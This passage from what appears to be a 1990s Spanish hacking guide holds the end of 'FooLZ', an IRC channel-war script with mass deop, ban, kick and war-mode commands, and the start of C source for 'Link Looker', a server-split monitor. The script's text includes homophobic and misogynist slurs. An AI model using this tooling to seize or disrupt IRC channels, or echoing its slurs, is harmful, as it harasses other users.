$2} ON ^MODE "% #% *" { IF ((RMATCH($0 *.*))&&(RMATCH($2 *+*o*))) { IF (([$WARMODE]==[ON])&&(ISCHANOP($N $C))) { MODE $1 -ooo $3- ECHO [FooLZ] IRC HaQR DeTeCTeD FrOM $0 oN $1 HaQiNG aWPZ: '$3-' NOTICE $1 [FooLZ] IRC HaQR DeTeCTeD FrOM $0 oN $1 HaQiNG aWPZ: '$3-' NOTICE $1 [FooLZ] - [FooLZ iZ iN WaRMoDE] server ops revoked. } { REAL_MODE $0- } } { IF (RMATCH($2 *-oo*)) { IF ([$WARMODE]==[ON]) { IF (ISCHANOP($N, $C)) { IF ([$0] != [$N]) { MODE $1 -o $0 ECHO [FooLZ] MaSS De-aWP DeTeCTeD By $0! NOTICE $1 [FooLZ] MaSS De-aWP DeTeCTeD By $0 - aWPz ReVoKeD! } } { REAL_MODE $0- } } { REAL_MODE $0- } } { IF (RMATCH($2 *+b*)) { IF (RMATCH($FOOLZ_INFO $3)) { BAN_THIS_BITCH $0 $1 $3 } IF (RMATCH($FOOLZ_INFO $4)) { BAN_THIS_BITCH $0 $1 $4 } IF (RMATCH($FOOLZ_INFO $5)) { BAN_THIS_BITCH $0 $1 $5 } IF (RMATCH($FOOLZ_INFO $6)) { BAN_THIS_BITCH $0 $1 $6 } } REAL_MODE $0- } } } ON -ACTION * { IF (MATCH($N $2-)) { IF (ISCHANOP($N $C)) { IF ([$WARMODE]==[ON]) { KICK $C $0 [FooLZ SPlATTeR PRoTeCTiON] }{ MODE $C -o $0 NOTICE $0 [FooLZ] SPlATTeR KiCK PRoTeCTiON ACtiVaTeD } } } } ON -JOIN * { ^ASSIGN JCHAN $1 USERHOST $0 -CMD IF ([$3]) { ^ASSIGN USERSITE $3@$4 IF (MATCH($USERSITE $AUTOOP)) { IF (ISCHANOP($N $JCHAN)) { MODE $JCHAN +ooo $0 $0 $0 NOTICE $0 [FooLZ] aUTo-aWP FoR ELiTE d00dzZ!! } } } ^ASSIGN -USERSITE ^ASSIGN -FUQQ } # DaveMan's Ban2 for 2.2 clients - 4/15/93 # Discription: Easy to use aliases to unban by login given a nick. ALIAS DBAN { IF ([$0]) { USERHOST $0 -CMD ^ASSIGN DABAN $$0!$$3@$$4 NOTICE $0 [FooLZ] Your ban is cleared from $C - FooLZ Courtesy of BoW - } { USERHOST $N -CMD ^ASSIGN DABAN $$0!$$3@$$4 } ^ON ^367 * IF (RMATCH($DABAN $2)){ @ BL = [$BL $2] } ^ASSIGN CNT 0 ^MODE $C +b WAIT WHILE (WORD($CNT $BL)){ UB4 $WORD($CNT $BL) $WORD(${CNT+1} $BL) $WORD(${CNT+2} $BL) @ CNT = CNT + 3 } ^ASSIGN -BL ^ASSIGN -CNT ^ON ^367 - } ALIAS CLEARBAN { ^ON ^367 * { @ BL = [$2 $BL] } ^ASSIGN CNT 0 ^MODE $C +b WAIT WHILE (WORD($CNT $BL)){ UB4 $WORD($CNT $BL) $WORD(${CNT+1} $BL) $WORD(${CNT+2} $BL) @ CNT = CNT + 3 } ^ASSIGN -BL ^ASSIGN -CNT ^ON ^367 -* } ALIAS CM { /MODE $C -k$M } ALIAS UB4 { IF ([$2]!=[]) { MODE $C -bbb $0-2 } { IF (([$1]!=[])&&([$2]==[])) { MODE $C -bb $0-1 } { IF (([$0]!=[])&&([$1]==[])) { MODE $C -b $0 } } } } # This is from a script called bans by Tychy. # Randomized ban version 1.27 # Written by Lance Herron (A.k.a. Tychy) ALIAS BAN { IF ([$0]) { USERHOST $0 -CMD PHEAR $$4 NOTICE $0 [FooLZ] You have been banned from $C - FooLZ courtesy of BoW - NOTICE $0 [FooLZ] phear BoW. } { SHOW_USAGE /BAN } } ALIAS PHEAR { @ _HOST = [$0] @ RANUMH = RAND($@_HOST) @ SCRBAN = [*!*@] ## SCRFNC($RANUMH $0) MODE $C +b $SCRBAN ^ASSIGN -_HOST ^ASSIGN -RANUMH ^ASSIGN -SCRBAN } ASSIGN scros.0 ? ASSIGN scros.1 ? ASSIGN scros.2 * ASSIGN scros.3 ? ALIAS SCRFNC { @ NUMQUES = [$0] @ LNUMQ = 0 @ TEMPSCR = [$1] @ TOSCREWN = [$@TEMPSCR] WHILE (LNUMQ < NUMQUES) { @ TEMPRAND = RAND($TOSCREWN) @ TEMPSCR = LEFT($TEMPRAND $TEMPSCR) ## SCROS[$RAND(3)] ## RIGHT(${ TOSCREWN - (TEMPRAND + 1) } $TEMPSCR) @ LNUMQ = LNUMQ + 1 } @ FUNCTION_RETURN = [$TEMPSCR] } # Stuff from davemans ALIAS REMOVE { @ TCNT = 0 @ TEMP = [] @ $1 = [$($1) XX] WHILE (WORD($TCNT $($1))!=[XX]) { if ([$0]!=WORD($TCNT $($1))) { @ TEMP = [$TEMP $WORD($TCNT $($1))] } @ TCNT = TCNT + 1 } @ $1 = [$TEMP] ^ASSIGN -TEMP } ALIAS ADDMSG { IF (MATCH($0 $MSGLIST)) { REMOVE $0 MSGLIST @ MSGLIST = [$0 $MSGLIST] @ MSGCNT = 0 } { @ MSGLIST = [$0-9] @ MSGCNT = 0 } } ALIAS GETMSG { TYPE ^U/MSG $($MSGCNT) @ MSGCNT = MSGCNT + 1 IF (#MSGLIST= MDOPCNT) { /QUOTE MODE $C -ooo $word($mdopcnt $mdopz) $word(${mdopcnt+1} $mdopz) $word(${mdopcnt+2} $mdopz) @ MDOPCNT = MDOPCNT + 3 } ^ASSIGN -MDOPZ ^ASSIGN -MDOPCNT NOTICE $C [FooLZ] A Mass De-Vop has been performed. } } ALIAS MVOP { IF (!ISCHANOP($N $C)) { NOT_OPPED mass vop. } { ^SET DISPLAY OFF ^ASSIGN -MDOPZ ^ON -WHO * { IF ([$1]!=[$N]) { ^ASSIGN MDOPZ $1 ${MDOPZ} } } ^WHO * WAIT ^SET DISPLAY ON @ MDOPCNT = 0 WHILE ([$(#MDOPZ)] >= MDOPCNT) { /QUOTE MODE $C +vvv $word($mdopcnt $mdopz) $word(${mdopcnt+1} $mdopz) $word(${mdopcnt+2} $mdopz) @ MDOPCNT = MDOPCNT + 3 } ^ASSIGN -MDOPZ ^ASSIGN -MDOPCNT NOTICE $C [FooLZ] A Mass Vop has been performed. } } ALIAS MDVOP { IF (!ISCHANOP($N $C)) { NOT_OPPED mass de-vop. } { ^SET DISPLAY OFF ^ASSIGN -MDOPZ ^ON -WHO * { IF ([$1]!=[$N]) { ^ASSIGN MDOPZ $1 ${MDOPZ} } } ^WHO * WAIT ^SET DISPLAY ON @ MDOPCNT = 0 WHILE ([$(#MDOPZ)] >= MDOPCNT) { /QUOTE MODE $C -vvv $word($mdopcnt $mdopz) $word(${mdopcnt+1} $mdopz) $word(${mdopcnt+2} $mdopz) @ MDOPCNT = MDOPCNT + 3 } ^ASSIGN -MDOPZ ^ASSIGN -MDOPCNT NOTICE $C [FooLZ] A Mass De-Vop has been performed. } } alias mop { IF (!ISCHANOP($N $C)) { NOT_OPPED mass op. } { ^SET DISPLAY OFF ^ASSIGN -MDOPZ ^ON -WHO * { IF (([$1]!=[$N])&&(!ISCHANOP($1 $C))) { ^ASSIGN MDOPZ $1 ${MDOPZ} } } ^WHO * WAIT ^SET DISPLAY ON @ MDOPCNT = 0 WHILE ([$(#MDOPZ)] >= MDOPCNT) { /QUOTE MODE $C +ooo $word($mdopcnt $mdopz) $word(${mdopcnt+1} $mdopz) $word(${mdopcnt+2} $mdopz) @ MDOPCNT = MDOPCNT + 3 } ^ASSIGN -MDOPZ ^ASSIGN -MDOPCNT NOTICE $C [FooLZ] A Mass Op has been performed. } } # Now some BoW Stuff ALIAS W { IF ([$0]) { WHO $0- } { IF ([$C]) { WHO $C } { ECHO [FooLZ] FoOL!!! YoU MuST SPeCiFY a CHaNNeL oR Be oN oNE! } } } ALIAS J JOIN ALIAS M { IF ([$0]) { IF (ISCHANNEL($0)) { MODE $0- } { MODE $C $0- } } { MODE $C } } ALIAS T { IF ([$0]) { IF (ISCHANNEL($0)) { TOPIC $0- } { TOPIC $C $0- } } { IF ([$C]) { TOPIC $C } { ECHO [FooLZ] FoOL!!! YoU MuST Be oN a CHaNNeL oR SpECiFY oNE } } } ALIAS L { IF ([$0]) { PART $0- } { PART $C } } # Auto-op - idea taken from infitiy or toolz or one of those lame scripts # The source is entirely original however.. I have never seen the source # for the other dudes ways... only stole their idea.. ALIAS AOP { ^ASSIGN FUQU \'s ^ASSIGN -PERSON IF ([$0]) { USERHOST $0 -CMD IF ([$3]) { ^ASSIGN PERSON $3@$4 IF ([$3]==[]) { ECHO [FooLZ] FoOL!@!! No SuCH NiCK $0 } { IF (MATCH($PERSON $AUTOOP)) { ECHO [FooLZ] FoOL!! $PERSON iZ aLREaDY iN YeR aUTo-Op LiST } { ECHO [FooLZ] aDDiNG $0 2 YeR aUTo-Op LiST! @ AUTOOP = [$PERSON $AUTOOP] NOTICE $0 [FooLZ] Y00 HaVE BeEN aDDeD To $N$FUQU aUTo-Op LiST NOTICE $0 [FooLZ] FooLZ iZ KoURTiSY oF BoW - pHeAR BoW. EXEC echo "RELOADAOP $PERSON" >> ~/.FooLZrc IF ((!ISCHANOP($0 $C))&&(ISCHANOP($N $C))) { MODE $C +o $0 } } } } } { SHOW_USAGE /AOP } ^ASSIGN -FUQU ^ASSIGN -PERSON } # called from the file... ALIAS RELOADAOP { IF ([$0]) { @ AUTOOP = [$0 $AUTOOP] } } ALIAS DAOP { ^ASSIGN -PERSON ^ASSIGN -NEWOPLIST ^ASSIGN -TEMPOP IF ([$0]) { USERHOST $0 -CMD IF ([$3]) { ^ASSIGN PERSON $3@$4 IF (MATCH($PERSON $AUTOOP)) { ^ASSIGN OPCOUNT 0 WHILE ([$(#AUTOOP)] >= OPCOUNT) { @ TEMPOP = WORD($OPCOUNT $AUTOOP) IF ([$PERSON]==[$TEMPOP]) { EXEC grep -v $PERSON ~/.FooLZrc > ~/.FooLZ.bak \; mv ~/.FooLZ.bak ~/.FooLZrc ECHO [FooLZ] $0 HaZ BeEN ReMoVeD FRoM YoUR oP LiST! } { @ NEWOPLIST = [$NEWOPLIST $TEMPOP] } @ OPCOUNT = OPCOUNT + 1 } @ AUTOOP = [$NEWOPLIST] } { ECHO [FooLZ] FoOL!!! $0 iZ NoT iN YoUR AuTo-aWP LiZT! } } } { SHOW_USAGE /DAOP } ^ASSIGN -PERSON ^ASSIGN -OPCOUNT ^ASSIGN -NEWOPLIST ^ASSIGN -TEMPOP } ALIAS SAOP { ECHO [FooLZ] YoUR aUTo-Op LiZT iZ: $AUTOOP } # When you are away, set logging to on.. ALIAS LOG { ^ASSIGN IS_AWAY YES ECHO [FooLZ] LoGGiNG aLL MeSGz } ALIAS AWAY { IF ([$0]) { LOG ECHO [FooLZ] Y00 HaVE BeEN MaRKeD aS aWaY!!@ ^ASSIGN AWAY_MSG $0- ^SET STATUS_FORMAT Y00 aRe MaRKeD aZ aWaY - ReASoN: $AWAY_MSG - BoW '94 - %>%U%M%X%Y%Z ^SET DISPLAY OFF ^SET DISPLAY ON } { ^SET DISPLAY OFF ^SET DISPLAY ON ^ASSIGN IS_AWAY NO ^ASSIGN -AWAY_MSG ^SET STATUS_FORMAT %T %*%@%N%#%S%H%B%Q%A%C%+%I%O%F %W%>%U%M%X%Y%Z ECHO [FooLZ] MeSGz SeNT T00 Y00 WHiLE Y00 WeRE aWAY EXEC cat /dev/null >> ~/.FooLZ.aWaY \; cat ~/.FooLZ.aWaY \; rm -f ~/.FooLZ.aWaY } } ALIAS K { ^ASSIGN FUQU FooLZ ^ASSIGN KNOTE $BOLD$MSG_BRACE_1$FUQU K-KiCK]$BOLD ^ASSIGN -FUQU ^ASSIGN KCHAN $C ^ASSIGN KLIST - ^ASSIGN KOUNT 0 ^ASSIGN KKONT 0 ^ASSIGN KTEMP - ^ASSIGN KNICK IF ([$0]) { IF (!ISCHANOP($N $C)) { NOT_OPPED K-KiCK Someone. } { IF (ISCHANNEL($0)) { @ KCHAN = [$0] @ KLIST = [$1-] } { @ KLIST = [$0-] } WHILE ([$(#KLIST)] > KOUNT) { @ KTEMP = WORD($KOUNT $KLIST) @ KOUNT = KOUNT + 1 IF ([$KKONT]==[0]) { IF (ISONCHAN($KTEMP $KCHAN)) { @ KNICK = [$KNICK $KTEMP] } { @ KKONT = 1 @ KNOTE = [$KNOTE $KTEMP] } } { @ KNOTE = [$KNOTE $KTEMP] } } @ KOUNT = 0 IF ([$KNICK] == []) { SHOW_USAGE /K [channel] [nick2] [nick3] [comments] } { WHILE ([$(#KNICK)] > KOUNT) { @ KTEMP = WORD($KOUNT $KNICK) KICK $KCHAN $KTEMP $KNOTE NOTICE $KTEMP [FooLZ] You have been kicked from channel $KCHAN - $KNOTE @ KOUNT = KOUNT + 1 } } } } { SHOW_USAGE /K [channel] [nick2] [nick3] [comments] } ^ASSIGN -KNOTE ^ASSIGN -KCHAN ^ASSIGN -KLIST ^ASSIGN -KOUNT ^ASSIGN -KKONT ^ASSIGN -KTEMP ^ASSIGN -KNICK } ALIAS WAR { IF ([$WARMODE]==[ON]) { ^ASSIGN WARMODE OFF ECHO [FooLZ] Yo0 ARe No LoNG3R iN$BOLD WaR-MoDE$BOLD NOTICE $C [FooLZ] [$BOLD WaRMoDE$BOLD iS NoW oFF ] } { ^ASSIGN WARMODE ON ECHO [FooLZ] Yo0 ARe NoW iN$BOLD WaR-MoDE$BOLD NOTICE $C [FooLZ] [$BOLD WaRMoDE$BOLD iS NoW oN ] } } ALIAS SNOOP { IF ([$SNOOP_MODE]==[OFF]) { ^ASSIGN SNOOP_MODE ON ECHO [FooLZ] Yo0 ARe NoW iN$BOLD SNo0P-MoDE$BOLD ECHO [FooLZ] [MeSSaGeZ SeNT T0 Yo0 WHiLE aWaY WiLL Be DisPLaYeD] } { ^ASSIGN SNOOP_MODE OFF ECHO [FooLZ] Yo0 ARe No LoNGeR iN$BOLD SNo0P-MoDE$BOLD ECHO [FooLZ] [MeSSaGeZ SeNT T0 Yo0 WHiLE aWaY WiLL N0T Be DisPLaYeD] } } ALIAS SHOW { ECHO [FooLZ] -++ FooLZ SeTTiNGz ++- ECHO [FooLZ] --+ FooLZ iZ KoURTiSY oF BoW - PHeAR BoW +-- ECHO [FooLZ] --+ "ONLY A FooL WoULD uSE FooLZ!" +-- ECHO [FooLZ] +------------------------------------------+ IF ([$WARMODE]==[ON]) { ECHO [FooLZ] WARMODE IS:$BOLD ON }{ ECHO [FooLZ] WARMODE IS:$BOLD OFF } IF ([$SNOOP_MODE]==[ON]) { ECHO [FooLZ] SNOOPMODE IS:$BOLD ON }{ ECHO [FooLZ] SNOOPMODE IS:$BOLD OFF } IF ([$IS_AWAY]==[YES]) { ECHO [FooLZ] AWAY IS:$BOLD ON }{ ECHO [FooLZ] AWAY IS:$BOLD OFF } } ALIAS BEG { ^ASSIGN -CHANLIST ^ASSIGN CHANCNT 0 ^ASSIGN -DACHANOP IF (![$C]) { ECHO [FooLZ] FoOL!! Yo0 MuST Be oN a CHaNNeL To BeG FoR aWPz }{ IF (ISCHANOP($N $C)) { ECHO [FooLZ] Fo0L!!! Yo0 R aLReADY aWPeD!! } { ^ON -NAMES * { ^ASSIGN CHANLIST $1- WHILE ([$(#CHANLIST)] > CHANCNT) { ^ASSIGN DACHANOP $WORD($CHANCNT $CHANLIST) IF (RMATCH($DACHANOP @*)) { ^ASSIGN NNX $@DACHANOP @ NNX = NNX - 1 @DACHANOP = RIGHT($NNX $DACHANOP) NOTICE $DACHANOP [FooLZ aWP BeG] Y0Y0Y0Y0... SMaK Me WiT DaH PLuS oH! - PHeAR BoW - } @ CHANCNT = CHANCNT + 1 } } ^SET DISPLAY OFF ^NAMES $C WAIT ^SET DISPLAY ON ECHO [FooLZ] BeGGiN FoR DaH oPZ } } ^ASSIGN -NNX ^ASSIGN -CHANLIST ^ASSIGN -CHANCNT ^ASSIGN -DACHANOP } ALIAS TELL_USER { IF ([$0]) { IF ([$1]) { NOTICE $0 [FooLZ] You have been $1. - FooLZ courtesy of BoW - } { SHOW_USAGE /TELL_USER } } { SHOW_USAGE /TELL_USER } } ALIAS OP { IF (!ISCHANOP($N $C)) { NOT_OPPED OP Someone. } { IF ([$0]) { IF ([$1]) { IF ([$2]) { MODE * +ooo $0 $1 $2 IF (([$2]!=[$1])&&([$2]!=[$0])) { TELL_USER $2 opped } } { MODE * +oo $0 $1 } IF ([$1]!=[$0]) { TELL_USER $1 opped } } { MODE * +o $0 } TELL_USER $0 opped } { SHOW_USAGE /OP [nick2] [nick3] } } } ALIAS DOP { IF (!ISCHANOP($N $C)) { NOT_OPPED DOP Someone. } { IF ([$0]) { IF ([$1]) { IF ([$2]) { MODE * -ooo $0 $1 $2 IF (([$2]!=[$1])&&([$2]!=[$0])) { TELL_USER $2 de-opped } } { MODE * -oo $0 $1 } IF ([$1]!=[$0]) { TELL_USER $1 de-opped } } { MODE * -o $0 } TELL_USER $0 de-opped } { SHOW_USAGE /DOP [nick2] [nick3] } } } ALIAS VOP { IF (!ISCHANOP($N $C)) { NOT_OPPED VOP Someone. } { IF ([$0]) { IF ([$1]) { IF ([$2]) { MODE * +vvv $0 $1 $2 IF (([$2]!=[$1])&&([$2]!=[$0])) { TELL_USER $2 vopped } } { MODE * +vv $0 $1 } IF ([$1]!=[$0]) { TELL_USER $1 vopped } } { MODE * +v $0 } TELL_USER $0 vopped } { SHOW_USAGE /VOP [nick2] [nick3] } } } ALIAS DVOP { IF (!ISCHANOP($N $C)) { NOT_OPPED DVOP Someone. } { IF ([$0]) { IF ([$1]) { IF ([$2]) { MODE * -vvv $0 $1 $2 IF (([$2]!=[$1])&&([$2]!=[$0])) { TELL_USER $2 de-vopped } } { MODE * -vv $0 $1 } IF ([$1]!=[$0]) { TELL_USER $1 de-vopped } } { MODE * -v $0 } TELL_USER $0 de-vopped } { SHOW_USAGE /DVOP [nick2] [nick3] } } } ALIAS FooL { ^SET HOLD_MODE ON ECHO +----------------------------------------------------------------------+ ECHO | $BOLD FooLZ 4 iRC BRoUGHT 2 U By BoW$BOLD | ECHO | OK SCRiPT FaGG0T, HeRe'S YoUR oPTiONS: | ECHO | | ECHO | Commands: | ECHO | $BOLD/BAN $BOLD - Ban user nick from current channel | ECHO | $BOLD/DBAN $BOLD - Unban user nick from current channel| ECHO | $BOLD/CLEARBAN $BOLD - Clear the current channels bans | ECHO | $BOLD/CM $BOLD - Clear the current channels modes | ECHO | $BOLD/K [channel] [nick2] [nick3] [comments]$BOLD - Kick users | ECHO | $BOLD/OP [nick2] [nick3]$BOLD - Op user nick on current channel | ECHO | $BOLD/DOP [nick2] [nick3]$BOLD - De-op user nick on current channel | ECHO | $BOLD/VOP [nick2] [nick3]$BOLD - Vop user nick on current channel | ECHO | $BOLD/DVOP [nick2] [nick3]$BOLD - Vop user nick on current channel | ECHO | $BOLD/MOP $BOLD - Mass-Op the channel | ECHO | $BOLD/MDOP$BOLD - Mass-De-op the channel | ECHO | $BOLD/MVOP$BOLD - Mass-Vop the channel | ECHO | $BOLD/MDVOP$BOLD - Mass-De-vop the channel | ECHO | $BOLD/WAR$BOLD - Toggle FooLZ War-mode | ECHO | $BOLD/SNOOP$BOLD - Toggle showing messages while away | ECHO | $BOLD/BEG$BOLD - Beg for ops on the current channel | ECHO | $BOLD/AOP $BOLD - Add nick to your auto-op list | ECHO | $BOLD/DAOP $BOLD - Remove nick from your auto-op list | ECHO | $BOLD/SAOP$BOLD - Display your auto-op list | ECHO | $BOLD/M [channel] [mode]$BOLD - Display/set channel mode | ECHO | $BOLD/W [channel]$BOLD - Displays a who list, def=current | ECHO | $BOLD/L [channel]$BOLD - Leaves a channel - default=current | ECHO | $BOLD/SHOW$BOLD - Displays all FooLZ Toggles | ECHO | | ECHO | HeY SKRiPT PuPPY - oTHeR FeATuReZ iNKLuDE - aWaY MsG LoGGiNG, | ECHO | SPLaTTeR KiCK PRoTeCTiON & SoME oTHeR STuFF i FoRGoT | ECHO | | ECHO | Press ESC to toggle through message list. | ECHO +----------------------------------------------------------------------+ ^SET HOLD_MODE OFF } ECHO [FooLZ] Loading completed. ECHO [FooLZ] ECHO [FooLZ] -BoW- -BoW- ECHO [FooLZ] -BoW- *************************************** -BoW- ECHO [FooLZ] -BoW- -BoW- * FooLZ 4 IRC - BRoUGHT To YoU By BoW * -BoW- -BoW- ECHO [FooLZ] -BoW- -BoW- * FooLZ iZ KoPYWRoNG (K) 1994 By BoW * -BoW- -BoW- ECHO [FooLZ] -BoW- -BoW- * iF YoU ArE LaME uSE: /FooL FoR HeLP * -BoW- -BoW- ECHO [FooLZ] -BoW- *************************************** -BoW ECHO [FooLZ] -BoW- -BoW- ECHO [FooLZ] GET_MAH_INFO LOAD ~/.FooLZrc ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 11 - Un caballo de batalla : Link Looker . Todavia queres saber mas , joer , por lo visto este guia te esta gustando :) Pues aqui tambien volvemos a nuestro querido unix , ya que viene el codigo fuente del Link Looker , pues este herramienta es una utilidad la cual nos ayudara contra los split de los servidores :) Si , otra vez de vuelta al C y al ingles . -> Codigo fuente del Link Looker . /*=============================================================*\ * ll.c - link looker * * Copyright (C) 1994 by The Software System and lilo * * Written by George Shearer (george@sphinx.biosci.wayne.edu) * * Cleaned up to usability by lilo. :) * * * * September, 1994 - added help, version info and made the * * program so you can actually use it. :) * * --lilo * * * * October 14, 1994 - cleaned up output flushing so you can * * actually watch in something like real * * time. :) --lilo * * * * October 28, 1994 - kill -1 will now produce a list of SPLIT * * servers. -Doc * * * * November 4, 1994 - should compile on non-POSIX systems now. * * use -DHPSUCKS for HP-sUX systems 9.0x * * November 15, 1994 - fixed a small bug in lilo's -h checker * \*=============================================================*/ /* This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. */ /* Compiling examples: regular old ANSI/C cc: cc -O -s -o ll ll.c HP-UX cc: cc +O3 -Aa -s -DHPSUCKS -o ll ll.c GNU GCC: Linux: gcc -O2 -fomit-frame-pointer -funroll-loops -m486 -s -Wall -o ll ll.c BSD, SunOS 4.1.x, Slowaris 2.x, NeXT: gcc -O2 -funroll-loops -s -Wall -o ll ll.c */ #define VERSION "1.06" #define BUFSIZE 400 /* IRC Server buffer */ #define SERVER "irc.escape.com" /* IRC Server */ #define PORT 6667 /* IRC Port */ #define LDELAY 30 /* Loop delay seconds*/ #define TIMEOUT 30 /* connection timeout*/ #define ESTABLISHED 1 #define INPROGRESS 2 #define SPLIT 1 #ifdef HPSUCKS #define _INCLUDE_HPUX_SOURCE #define _INCLUDE_XOPEN_SOURCE #define _INCLUDE_POSIX_SOURCE #endif #include #include #include #include #include #include #include #include #include #include #include #include #include #include unsigned short int session=0,link_count=0; char in[BUFSIZE],out_buf[BUFSIZE],hostname[64]; char *ins=in; char serverhost[81], nick[10], user[10], realname[81], lasttime[81]; time_t ltime; struct irc_server { char *name; char *link; unsigned short int status; time_t time; struct irc_server *next; } *sl1=(struct irc_server *)0,*sl2=(struct irc_server *)0; void do_ping(char *,char *); void do_001(char *,char *); void do_error(char *,char *); void do_364(char *,char *); void do_365(char *,char *); /* prototyping is lame when the function is in the same code, lilo outta just move the function before all other functions that call it :-) */ char *stamp(time_t); struct parsers { char *cmd; void (*func)(char *,char *); } parsefuns[] = { { "PING", (void (*)())do_ping }, { "001", (void (*)())do_001 }, { "364",(void (*)())do_364 }, { "365", (void (*)())do_365}, { "ERROR",(void (*)())do_error}, { (char *)0,(void (*)())0 } }; struct sockaddr_in server; int sock=0; #ifndef sys_errlist extern char *sys_errlist[]; #endif #ifndef errno extern int errno; #endif char * mystrerror(int err) { return(sys_errlist[err]); } unsigned long int resolver(char *host) { unsigned long int ip=0L; if(host && *host && (ip=inet_addr(host))==-1) { struct hostent *he; int x=0; while(!(he=gethostbyname((char *)host)) && x++<3) { fprintf(stderr,"."); fflush(stderr); sleep(1); } ip=(x<3) ? *(unsigned long *)he->h_addr_list[0] : 0L; } return(ip); } void clean_sl2(void) { while(sl2) { struct irc_server *temp=sl2->next; if(sl2->name) free(sl2->name); if(sl2->link) free(sl2->link); free(sl2); sl2=temp; } sl2=(struct irc_server *)0; } void exit_program(char *why) { fprintf(stderr,"\nExiting program. (%s)\n",why); if(sock) close(sock); while(sl1) { struct irc_server *temp=sl1->next; if(sl1->name) free(sl1->name); if(sl1->link) free(sl1->link); free(sl1); sl1=temp; } clean_sl2(); if(in) free(in); exit(0); } int mystrccmp(register char *s1,register char *s2) { while((((*s1)>='a'&&(*s1)<='z')?(*s1)-32:*s1)== (((*s2)>='a'&&(*s2)<='z')?(*s2++)-32:*s2++)) if(*s1++==0) return 0; return (*(unsigned char *)s1-*(unsigned char *)--s2); } char *mstrcpy(char **to,char *from) { if(from) { if((*to=(char *)malloc(strlen(from)+1))) strcpy(*to,from); } else *to=(char *)0; return(*to); } char *digtoken(char **string,char *match) { if(string && *string && **string) { while(**string && strchr(match,**string)) (*string)++; if(**string) { /* got something */ char *token=*string; if((*string=strpbrk(*string,match))) { *(*string)++=(char)0; while(**string && strchr(match,**string)) (*string)++; } else *string = ""; /* must be at the end */ return(token); } } return((char *)0); } void signal_handler(void) { exit_program("caught signal"); } void signal_alarm(void) { exit_program("timed out waiting for server interaction."); } void out(void) { int length=strlen(out_buf); errno=0; if(write(sock,out_buf,length)!=length) exit_program(mystrerror(errno)); } void init_server(void) { int length; sprintf(out_buf,"USER %s %s %s :%s\nNICK %s\nMODE %s +is", \ user, user, user, realname, nick, nick); length=strlen(out_buf); errno=0; if(write(sock,out_buf,length)==length) { fputs("established\n",stderr); session=ESTABLISHED; alarm(TIMEOUT); sprintf(out_buf,"LINKS\n"); out(); } else exit_program(mystrerror(errno)); } void heartbeat(void) { strcpy(out_buf,"LINKS\n"); out(); signal(SIGALRM,(void (*)())heartbeat); alarm(LDELAY); } void do_364(char *from,char *left) { struct irc_server *serv; char *sv1,*sv2; char *nick; serv=(struct irc_server *)malloc(sizeof(struct irc_server)); serv->next=sl2; serv->status=0; nick=digtoken(&left," "); sv1=digtoken(&left," "); sv2=digtoken(&left," "); mstrcpy(&serv->name,sv1); mstrcpy(&serv->link,sv2); sl2=serv; } int findserv(struct irc_server *serv,char *name) { for(;serv;serv=serv->next) if(!mystrccmp(name,serv->name)) return(1); return(0); } void show_split(void) { struct irc_server *serv=sl1; signal(SIGHUP,(void (*)())show_split); for(;serv;serv=serv->next) { if(serv->status & SPLIT) { printf("%s SPLIT: %s [%s]\n",stamp(serv->time),serv->name,serv->link); fflush(stdout); } } } void do_365(char *from,char *left) { struct irc_server *serv=sl1; for(;serv;serv=serv->next) { if(!findserv(sl2,serv->name)) { if(!(serv->status & SPLIT)) { serv->time=time(NULL); printf("%s SPLIT: %s [%s]\n",stamp(serv->time),serv->name,serv->link); fflush(stdout); serv->status|=SPLIT; } } else if(serv->status & SPLIT) { serv->time=time(NULL); printf("%s MERGE: %s [%s]\n",stamp(serv->time),serv->name,serv->link); fflush(stdout); serv->status&=~SPLIT; } } serv=sl2; for(;serv;serv=serv->next) { if(!findserv(sl1,serv->name)) { struct irc_server *serv2; serv2=(struct irc_server *)malloc(sizeof(struct irc_server)); serv2->next=sl1; serv2->status=0; mstrcpy(&serv2->name,serv->name); mstrcpy(&serv2->link,serv->link); sl1=serv2; serv2->time=time(NULL); if(link_count) { printf("%s ADDED: %s [%s]\n",stamp(serv2->time),serv->name,serv->link); fflush(stdout); } } } link_count=1; clean_sl2(); } void do_ping(char *from,char *left) { sprintf(out_buf,"PING :%s\n",hostname); out(); } void do_001(char *from,char *left) { fprintf(stderr,"Logged into server %s as nickname %s\n\n",from,nick); fflush(stderr); alarm(0); signal(SIGALRM,(void (*)())heartbeat); alarm(LDELAY); } void do_error(char *from,char *left) { fprintf(stderr,"Server error: %s\n",left); fflush(stderr); } void parse2(void) { char *from,*cmd,*left; if(*ins==':') { if(!(cmd=strchr(ins,' '))) return; *cmd++=(char)0; from=ins+1; } else { cmd=ins; from=(char *)0; } if((left=strchr(cmd,' '))) { int command; *left++=(char)0; left=(*left==':') ? left+1 : left; for(command=0;parsefuns[command].cmd;command++) { if(!mystrccmp(parsefuns[command].cmd,cmd)) { parsefuns[command].func(from,left); break; } } } } void parse(int length) { char *s=in; *(ins+length)=(char)0; for(;;) { ins=s; while(*s && *s!=(char)13 && *s!=(char)10) s++; if(*s) { while(*s && (*s==(char)13 || *s==(char)10)) *s++=(char)0; parse2(); } else break; } strcpy(in,ins); ins=in+(s-ins); } void process_server(void) { int x=0; for(;;) { fd_set rd,wr; struct timeval timeout; timeout.tv_usec=0; timeout.tv_sec=1; FD_ZERO(&rd); FD_ZERO(&wr); FD_SET(sock,&rd); if(session==INPROGRESS) FD_SET(sock,&wr); errno=0; #ifdef HPSUCKS select((size_t)FD_SETSIZE,(int *)&rd,(int *)&wr,(int *)0,(session==INPROGRESS)?(const struct timeval *)&timeout:(const struct timeval *)0); #else select(getdtablesize(),(fd_set *)&rd,(fd_set *)&wr,(fd_set *)0,(session==INPROGRESS)?(struct timeval *)&timeout:(struct timeval *)0); #endif if(errno==EINTR) continue; errno=0; if(session==INPROGRESS) { 